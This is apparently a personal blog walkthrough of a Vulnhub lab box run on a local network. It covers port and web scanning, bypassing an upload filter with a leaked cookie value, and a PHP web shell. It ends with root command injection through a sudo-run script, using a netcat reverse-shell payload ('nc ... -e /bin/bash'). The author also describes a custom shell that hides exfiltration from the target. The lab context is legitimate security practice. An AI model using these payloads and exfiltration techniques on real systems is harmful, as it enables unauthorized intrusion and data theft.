Well it’s been another year and it’s once again Hacker Summer Camp time! With Defcon 29 just around the corner, I thought it would be a great time to blow some dust off the Parrot OS distro and bust some Vulnhub boxes.
Defining the Attack Surface
To start, we want to define the attack surface. Though a full port scan would likely trigger a company’s intrusion detection software, it’s probably not going to be a problem on this virtual machine inside my local network so that’s how I like to start these boxes
nmap -p- 192.168.158.209 -sC -oN nmap_all_ports_scan_output
It appears that there’s only two services running currently, SSH on port 22 and an HTTP server running on port 80.
Next for completeness, I banner grab the SSH service running
nc 192.168.158.209 22
Though this may not end up being useful, I have attempted to develop a well defined approach to doing these boot to roots. That way if there’s something trivial, I don’t miss it. For example, if an outdated version of SSH were running that had known exploits, maybe that’d be a good candidate for attack.
In this case however, I just log the banner in my notes and continue on.
Next I start a nikto scan on the webserver on port 80. While it’s running I bust the page open to see what it looks like in the browser also
nikto -h http://192.168.158.209
So some interesting info returned in our nikto scan. It appears that there’s directory browsing enabled on this site and there also appears to be a few directories for spelunking into. The landing page for the site just has the three images on it.
Once again though, for completeness, I look at the source code for the page but it also doesn’t have anything revealing in it. Somethings I’m looking for are commented out code, paths that might be useful, js pointing to endpoints on the webserver etc.
It’s at this point that I feel like I need a little more enumeration to crack this open. So next I spin up an instance of dirbuster to see if there’s anything hiding that I missed with my nikto scan
dirb http://192.168.158.209 /usr/share/wordlists/dirbuster/directories.jbrofuzz
Ahhh yes, it appears we have some more directories that nikto didn’t uncover. This is why it’s important to use multiple tools and multiple lists when doing enumeration. _NOT ALL LISTS ARE CREATED EQUAL_
Since we know directory listing is on, let’s go see what’s in our two new directories,
Nothing in owls but it appears there’s a
main.js file in the JS directory. This might be useful so we crack it open and see what it’s doing.
ajax.php and that when the file is successfully uploaded, we’ll get a 1 in response.
Now that we have something that we can poke at and some idea of what it is, let’s write a quick bash script that will test to see if there’s any upload restrictions on this server.
Please forgive the ridiculous application names I come up with lol
A very basic script. All it does is takes a list of every extension known to humans, creates a temp file with that extension, and then attempts to post it to the webserver at the endpoint we found in that js file.
If everything goes to plan, we’ll get a series of either 0’s or 1’s in response from the webserver.
Sure enough, when I run the script, we get all zero’s except for one transmission, which got a 1 response. So something made it in. Now the question is, what was it.
There’s two ways you can tell this. Either you build it into the script to detect a 1 response, and echo out the extension, which would work, or you can go hunting through the directories to see if the file got dropped anywhere. Since directory browsing is on, this seemed like the fastest option and that’s what I did.
And would you look at that! The
/owls/ directory which was once empty, now has our test.txt file in it. Now all we need to do is figure out how to slip an executable past this goal and we’re good to go.
Now, admittedly, this is where I got stuck. I tried every file bypass out there. This is a good cheat sheet here. However, nothing seemed to work. I did phone a friend for this one and they hinted me toward there being a backup file stored somewhere that reveled something key.
After some further enumeration of this machine, I found
ajax.php.bak in the root directory. This was not easy to find but I should have known to try this so lesson learned on my part.
So it looks like the reason I wasn’t able to bypass the file upload is because there was no way to bypass it via file extension manipulation lmao …. Face on me
In order to bypass the file upload filter, you needed to do two things;
- You needed to add a cookie named
adminwith the value of
&G6u@B6uDXMq&Msand some unknown character at the end of it
- You needed to add a post section named
securethat had a value of
Once you do these two things, then you can slip a php file onto the server.
Now I could have done this in a bash script or with curl but I chose to bust open Burp Suite and do it in there because it’s much easier to manipulate the packets quickly.
After some testing, I found the last character for the cookie, which was a capital
R. I hit send and sure enough I got a success response from the server. When I pop over to the browser and check the
/owls/ directory, my shell script is present.
So in order to gain access I started a netcat listener on my attacking machine with
nc -lvp 443 and I ran my php script by clicking on it in the browser. As you can see, we now have a local user shell on the target machine. Our user is
www-data and our current directory is
It’s at this point that most people would start their enumeration of the box. However, I like to add one more step. I’ve been working on a shell called ShinobiShell.py for a while now. It’s a client server shell that makes enumerating a target machine, downloading items to the target machine, and exfiling data from the machine effortless. So I’m going to start with getting that setup before I continue.
I head over to the tmp directory and wget the shinobishell python file from github
I also need to set it up on my local machine because it’s a client server model shell. Meaning, my attacking machine runs a shinobi server and the target machine opens a connection with it. This connection can be encrypted if you’d like and it will transmit all data over that encrypted tunnel.
To start the Shinobi Server, on my attacking machine, I run the command
python2 ShinobiShell.py -l 8443
This tells shinobi shell to start a server and listen on port 8443. If you’d like to make an encrypted tunnel, please read the github documentation for more information.
Now that our server is up and running, we can start our shinobi shell on the target machine. One thing to note is before you can start a shinobi shell, we need a TTY Shell. You can find a built in cheat sheet in the shinobi shell help.
It’s as easy as copy and pasting the command into the shell and hitting enter.
python -c 'import pty; pty.spawn("/bin/sh")'
Once you’ve done that, then you can run the Shinobi Shell and open a connection to our server
Enter Server Address and port ~> example: 127.0.0.1:8080 : 192.168.158.239:8443
Okay, now we have the power of the shinobi to crack this box 🙂
Getting the User Flag
Now we can start our privilege escalation enumeration. Once again, there’s a methodology I’ve tried to create that makes it easier for me to do priv esc. Everyone is different but for me, step one is getting shinobi shell running because of how easy it makes the next few steps for me.
The next step is looking for low hanging fruit in the
It looks like there’s two directories in here,
We’ll start with
Nice! It appears in the athena directory we have two files that might be of interest here. The first is one called
password-reminder.txt and the second is
When we open these files up, we see that not only do we get what appears to be athena’s password but also the user.txt file which has the user flag in it w00t!
Privilege Escalation To Root
Okay now that we have the user flag, we can turn our attention to getting this machine root’d.
There was a second directory in the home directory called
team-tasks so now I want to pop over there and see what it has inside.
Some file called cookie-gen.py, a log file and a note. Let’s take a look at
Okay very interesting
Apparently that cookie gen is used for something. So this is either a red herring or on the path to root. Since this was marked an easy box on vulnhub, I’m going to guess that’s our path to root. Let’s try and run it.
Permission denied <womp womp>
I bet we’ll need to try and access the athena user account with that password we found in order to continue. So I’m going to try and ssh into her account…
Ahh yes, there we go.
I SSH’d into athena’s account, popped back into the tmp directory, and reconnected my shinobi shell. Let’s try and run that script again now.
Welp, time to move onto the next enumerations.
Here’s where Shinobi Shell really starts to shine. If you type
help in the shinobi shell you’ll get a ton of available commands
To ease the priv esc process, I have some useful scripts built into the shell. I personally like to start with
What makes this shell great is that it doesn’t beacon directly out to the web from your target box in order to get the script. Instead, it sends a request back to the server on your attacking machine to go get the file for you. This allows us to continue to conceal our activity on the network and also guarantees we’ll be able to get our file as long as our attacking machine has internet access.
Now that we have the file, I just need to run it
Nothing interesting to see here
Let’s try running enum for linux now
I like to run it with the tee command so I can exfil the results back to my attacking machine. This script has so much info in fact that it has our path to root is actually outputed in it.
Once we start drilling into the output from this script we come across something interesting. It appears that our user athena can run that cookie-gen.py script as the super user! That really must be our path to root.
So let’s go see if this thing works
I head back over to
/home/team-tasks/ and I run the exact command that was output’d with the sudo command
#NOTE# Sometimes when running apps that have output, the shinobi shell chokes. So before you do this it’s best to close the shinobi shell. Don’t worry if you’ve stored loot, that loot is stored on your attacking box and will be available when you restart your shinobi shell.
sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
It appears that the script prompts for a seed phrase and then returns a cookie to you. Not super useful info so I cat out the script itself and see what it’s doing.
Upon further inspection, it looks like it takes your seed, and after making a cookie with it, logs your seed in the
log.txt file. Can you see the problem here?
It’s taking blind user input and pumping it into a bash command that it’s then executing as a super user…
I should be able to craft a command that would return a shell to me from root.
Okay so what I’m going to use as my seed phrase is the below command
test;nc 192.168.158.239 8444 -e /bin/bash;echo test
When it gets combined together in the script, this is what the command should look like. It’s going to first
echo test next it’s going to open a reverse shell to my machine, and then finally it’s going to
echo test once again back into log.txt. I did it this way so the script continues to function as designed to avoid any silly bugs.
echo test;nc 192.168.158.239 8444 -e /bin/bash;echo test >> log.txt
Finally I start a netcat listener on my attacking box on port 8444 and run the command
nc -lvp 8444
That’s it! Bob’s your uncle and this machine is rooted.
Okay so this box wasn’t too terribly difficult to pop. I’ll admit at first I was a little frustrated that the ajax.php.bak file was so hidden and not obvious that it took me a while to figure that out. Then I the more I thought about it, the more I realized that this is probably the most realistic thing about this box. There’s not always going to be a golden path laid at your feet for walking. Sometimes there’s going to be stuff hidden in ways you wouldn’t expect.
Excellent lesson learned on my part and a fun little box. Great work to the author